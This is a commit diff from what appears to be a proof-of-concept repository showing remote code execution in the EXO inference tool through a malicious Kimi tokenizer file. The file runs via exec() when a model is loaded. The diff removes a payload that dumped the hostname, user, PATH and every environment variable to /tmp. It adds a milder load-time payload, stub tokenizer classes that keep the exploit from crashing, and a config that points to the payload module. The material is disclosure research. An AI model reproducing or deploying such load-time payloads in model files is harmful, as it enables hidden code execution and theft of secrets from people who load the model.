applexml commited on
Commit
ec64df9
·
1 Parent(s): 6e59269

fix: safe PoC stub - fix empty tokenizer_config.json, clean tokenization_kimi.py payload, update tool_declaration_ts.py

Browse files
tokenization_kimi.py CHANGED
@@ -1,73 +1,80 @@
1
- # Malicious tokenization_kimi.py - PoC Payload
2
- # This file will be executed via exec() when EXO loads a model with "kimi-k2" in the name
 
 
 
3
  import os
4
  import sys
5
- import socket
6
- import subprocess
7
  from pathlib import Path
8
 
9
  # ============================================================================
10
- # PAYLOAD CONFIGURATION
11
  # ============================================================================
12
- POC_MARKER_FILE = "/tmp/exo_rce_poc_pwned.txt" # Proof of execution
13
 
14
- # ============================================================================
15
- # PAYLOAD EXECUTION
16
- # ============================================================================
17
  def execute_payload():
18
  """
19
- This function executes when EXO loads the tokenizer.
20
- Creates a marker file with system information as proof of code execution.
21
  """
22
-
23
- # --- MARKER FILE (Proof of execution) ---
24
  try:
25
- with open(POC_MARKER_FILE, "w") as f:
26
- f.write("=== EXO RCE PoC - Successful Exploitation ===\n")
27
- f.write(f"Hostname: {socket.gethostname()}\n")
28
- f.write(f"User: {os.getenv('USER', 'unknown')}\n")
29
- f.write(f"CWD: {os.getcwd()}\n")
30
- f.write(f"Python: {sys.executable}\n")
31
- f.write(f"PATH: {os.getenv('PATH', '')}\n")
32
- f.write("\n--- Environment Variables ---\n")
33
- for key, value in sorted(os.environ.items()):
34
- f.write(f"{key}={value}\n")
35
- print(f"[+] PoC marker file written to: {POC_MARKER_FILE}")
36
- except Exception as e:
37
- print(f"[-] Failed to write marker file: {e}")
38
 
39
- # Execute payload immediately when this module is loaded
40
  execute_payload()
41
 
42
  # ============================================================================
43
- # STUB TOKENIZER CLASS (Required to avoid runtime errors)
 
 
 
 
44
  # ============================================================================
45
- # EXO expects to find TikTokenTokenizer class in this module
46
- # We provide a minimal stub to prevent crashes after exploitation
 
 
 
 
 
 
 
47
 
48
  class TikTokenTokenizer:
49
  """
50
- Stub tokenizer class to satisfy EXO's expectations.
51
- The payload has already executed by the time this class is instantiated.
52
  """
53
-
54
  def __init__(self, *args, **kwargs):
55
- self.model = self
56
- self.eos_token_id = 0
57
- print("[+] TikTokenTokenizer stub initialized (payload already executed)")
58
-
 
 
 
 
59
  @classmethod
60
- def from_pretrained(cls, model_path, *args, **kwargs):
61
- """Stub from_pretrained method"""
62
- print(f"[+] TikTokenTokenizer.from_pretrained called with: {model_path}")
63
  return cls()
64
-
65
- def encode(self, text, allowed_special=None):
66
- """Stub encode method - returns dummy token IDs"""
67
- return [1, 2, 3] # Dummy tokens
68
-
69
- def decode(self, tokens, *args, **kwargs):
70
- """Stub decode method"""
71
- return "decoded_text"
72
 
73
- print("[+] Malicious tokenization_kimi.py module loaded successfully")
 
 
 
 
 
 
 
 
1
+ # tokenization_kimi.py - Safe PoC stub
2
+ # This file is executed via exec() by EXO when loading a model whose ID contains "kimi-k2".
3
+ # It demonstrates arbitrary code execution by writing a marker file, then provides
4
+ # the TikTokenTokenizer class that EXO expects.
5
+
6
  import os
7
  import sys
 
 
8
  from pathlib import Path
9
 
10
  # ============================================================================
11
+ # PoC PAYLOAD - executes at module load time (when EXO calls exec() on this file)
12
  # ============================================================================
13
+ POC_MARKER_FILE = "/tmp/exo_poc_marker.txt"
14
 
 
 
 
15
  def execute_payload():
16
  """
17
+ Proof-of-execution: writes a marker file with basic context info.
18
+ Non-destructive only creates one small file under /tmp.
19
  """
 
 
20
  try:
21
+ content = (
22
+ "=== EXO RCE PoC - Code Execution Confirmed ===\n"
23
+ f"Hostname: {os.uname().nodename}\n"
24
+ f"User: {os.getenv('USER', 'unknown')}\n"
25
+ f"PID: {os.getpid()}\n"
26
+ f"Python: {sys.executable}\n"
27
+ f"CWD: {os.getcwd()}\n"
28
+ )
29
+ Path(POC_MARKER_FILE).write_text(content)
30
+ print(f"[PoC] tokenization_kimi executed — marker written to {POC_MARKER_FILE}")
31
+ except Exception as exc:
32
+ print(f"[PoC] Could not write marker file: {exc}")
 
33
 
 
34
  execute_payload()
35
 
36
  # ============================================================================
37
+ # STUB TOKENIZER CLASS required by EXO's load_tokenizer_for_model_id()
38
+ # EXO calls:
39
+ # hf_tokenizer = TikTokenTokenizer.from_pretrained(model_path)
40
+ # hf_tokenizer.encode = _patched_encode (uses hf_tokenizer.model.encode)
41
+ # So we need a .model attribute that has an .encode() method.
42
  # ============================================================================
43
+
44
+ class _InnerModel:
45
+ """Minimal inner model that satisfies EXO's patched encode path."""
46
+ def encode(self, text: str, allowed_special=None) -> list:
47
+ return [ord(c) % 128 for c in (text or "")]
48
+
49
+ def decode(self, tokens, errors="replace") -> str:
50
+ return "".join(chr(t % 128) for t in tokens)
51
+
52
 
53
  class TikTokenTokenizer:
54
  """
55
+ Stub TikTokenTokenizer to satisfy EXO's tokenizer loading expectations.
56
+ The PoC payload has already executed by the time this class is instantiated.
57
  """
58
+
59
  def __init__(self, *args, **kwargs):
60
+ self.model = _InnerModel()
61
+ self.eos_token_id = 151643 # <|im_end|> in real Kimi vocab
62
+ self.bos_token_id = 151644
63
+ self.pad_token_id = 151643
64
+ self.eos_token = "<|im_end|>"
65
+ self.bos_token = "<|im_start|>"
66
+ print("[PoC] TikTokenTokenizer stub initialised")
67
+
68
  @classmethod
69
+ def from_pretrained(cls, model_path, **kwargs):
70
+ print(f"[PoC] TikTokenTokenizer.from_pretrained called with: {model_path}")
 
71
  return cls()
 
 
 
 
 
 
 
 
72
 
73
+ def encode(self, text: str, **kwargs) -> list:
74
+ return self.model.encode(text)
75
+
76
+ def decode(self, tokens, **kwargs) -> str:
77
+ return self.model.decode(tokens)
78
+
79
+
80
+ print("[PoC] tokenization_kimi.py loaded successfully")
tokenizer_config.json CHANGED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "tokenizer_class": "TikTokenTokenizer",
3
+ "model_max_length": 131072,
4
+ "bos_token": "<|im_start|>",
5
+ "eos_token": "<|im_end|>",
6
+ "unk_token": "<|unk|>",
7
+ "pad_token": "<|im_end|>",
8
+ "clean_up_tokenization_spaces": false,
9
+ "auto_map": {
10
+ "AutoTokenizer": ["tokenization_kimi.TikTokenTokenizer", null]
11
+ }
12
+ }
tool_declaration_ts.py CHANGED
@@ -1,18 +1,25 @@
1
- # tool_declaration_ts.py - Stub file
2
- # This file is imported by tokenization_kimi.py in legitimate Kimi models
3
- # We provide a minimal stub to prevent import errors
4
 
5
  """
6
- Tool declaration module stub for Kimi tokenizer.
7
- The original Kimi model uses this for tool/function calling support.
8
- For the PoC, we only need this to exist to prevent import errors.
9
  """
10
 
11
- # Minimal stub - add whatever is needed to prevent import errors
12
- # The real payload executes in tokenization_kimi.py before this is used
 
 
13
 
14
- def dummy_function():
15
- """Placeholder function"""
16
- pass
17
 
18
- print("[+] tool_declaration_ts.py stub loaded")
 
 
 
 
 
 
 
 
 
 
1
+ # tool_declaration_ts.py - Stub for Kimi tool/function-calling support
2
+ # Loaded by EXO via importlib before tokenization_kimi.py is exec()'d.
3
+ # Must exist to prevent ImportError in tokenization_kimi.py relative-import path.
4
 
5
  """
6
+ Minimal tool-declaration stub for the Kimi tokenizer PoC.
7
+ The real Kimi model uses this module for tool/function-call schema support.
 
8
  """
9
 
10
+ # Stub constants expected by some tokenization_kimi variants
11
+ TOOL_CALL_START = "<|tool_call_begin|>"
12
+ TOOL_CALL_END = "<|tool_call_end|>"
13
+ TOOL_CALL_ARG_BEGIN = "<|tool_call_argument_begin|>"
14
 
 
 
 
15
 
16
+ def build_tool_declaration(name: str, description: str = "", params: dict = None) -> dict:
17
+ """Stub — returns a minimal tool declaration dict."""
18
+ return {
19
+ "name": name,
20
+ "description": description,
21
+ "parameters": params or {},
22
+ }
23
+
24
+
25
+ print("[PoC] tool_declaration_ts.py stub loaded")